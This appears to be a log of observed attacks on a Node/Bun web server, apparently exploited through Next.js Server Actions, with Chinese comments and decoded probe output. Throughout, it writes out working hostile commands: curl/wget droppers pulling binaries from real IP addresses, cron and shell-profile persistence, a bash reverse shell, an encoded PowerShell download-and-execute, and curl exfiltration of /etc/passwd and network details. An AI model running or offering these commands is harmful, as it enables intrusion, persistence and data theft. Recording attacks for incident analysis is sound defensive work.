# 典型的 dropper 攻擊
curl -fsSL http://38.207.161.212/agent -o /tmp/.a && chmod +x /tmp/.a && /tmp/.a

# 植入 cron 持久化後門
curl -s -o /etc/cron.hourly/tsd http://43.156.63.124/tsd && chmod +x /etc/cron.hourly/tsd

# 複雜的持久化攻擊（嘗試多種下載方式 + cron + bashrc）
u='http://38.12.24.231/kworker'; n='kworker';
for d in $HOME/.config/sys_monitor /tmp/.sys_monitor /dev/shm/.sys_monitor /var/tmp/.sys_monitor; do
  mkdir -p $d;
  if [ -w $d ]; then
    p="$d/$n";
    (curl -ks $u -o $p || wget -q --no-check-certificate $u -O $p || python3 -c "import urllib.request;urllib.request.urlretrieve('$u','$p')");
    chmod +x $p;
    nohup $p >/dev/null 2>&1 &
    (crontab -l 2>/dev/null | grep -v $n; echo "* * * * * $p >/dev/null 2>&1") | crontab -;
    echo "$p >/dev/null 2>&1 &" >> ~/.bashrc;
    echo "$p >/dev/null 2>&1 &" >> ~/.zshrc;
  fi;
done

# Bash 反向 shell
bash -c "bash -i >& /dev/tcp/154.26.192.32/19899 0>&1"

# Base64 編碼的惡意 PowerShell
powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAYwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADUANgAuADIAMwA0AC4AMgAwADkALgAxADAAMwA6ADYAMwA5ADMAOAAvAG4AcgBDAHIAUQAnACkA

# 解碼後:
# IEX (New-Object System.Net.Webclient).DownloadString('http://156.234.209.103:63938/nrCrQ')

# 數學計算用於漏洞確認
powershell -c "41*271"      # = 11111（特徵碼確認）
powershell -c "44225*41002" # = 1814113450

# 系統資訊收集並外傳
curl http://38.60.212.106:8000/?data=`(hostname;ip addr show;id;ip route show;ip neigh show;route -n;cat /etc/passwd;hostname -I) | base64 -w 0`

HOSTNAME=6973aeebae41
BUN_INSTALL_BIN=/usr/local/bin
HOME=/root
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/bun-node-fallback-bin
PWD=/app
TZ=Asia/Taipei
NODE_ENV=production
BUN_RUNTIME_TRANSPILER_CACHE_PATH=0

ping 5a58e4a0.log.dnslog.pp.ua.

# digest: 'cm9vdAo='
解碼: root

# digest: 'dGVzdAo='
解碼: test

# digest: 'dnVsbmVyYWJpbGl0eV90ZXN0Cg=='
解碼: vulnerability_test

# digest: 'dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCksMShiaW4pLDIoZGFlbW9uKSwzKHN5cyksNChhZG0pLDYoZGlzayksMTAod2hlZWwpLDExKGZsb3BweSksMjAoZGlhbG91dCksMjYodGFwZSksMjcodmlkZW8pCg=='
解碼: uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

# /tmp 目錄內容
dG90YWwgMjAKZHJ3eHJ3eHJ3dCAgICAxIHJvb3QgICAgIHJvb3QgICAgICAgICAgNDA5NiBEZWMgIDUgMTg6MDAgLgpkcnd4ci14ci14ICAgIDEgcm9vdCAgICAgcm9vdCAgICAgICAgICA0MDk2IERlYyAgNCAxMzozNiAuLgotcnd4ci14ci14ICAgIDEgcm9vdCAgICAgcm9vdCAgICAgICAgICA5ODQ4IERlYyAgNSAxODowMCBJTlNUQUxMCg==

解碼:
total 20
drwxrwxrwt    1 root     root          4096 Dec  5 18:00 .
drwxr-xr-x    1 root     root          4096 Dec  4 13:36 ..
-rwxr-xr-x    1 root     root          9848 Dec  5 18:00 INSTALL

Failed to find Server Action "dev-only-action"
Failed to find Server Action "non_existent_action_id"
Failed to find Server Action "test"
Failed to find Server Action "x"

Error: x
  digest: 'cm9vdAo='  // Base64 編碼的 'root'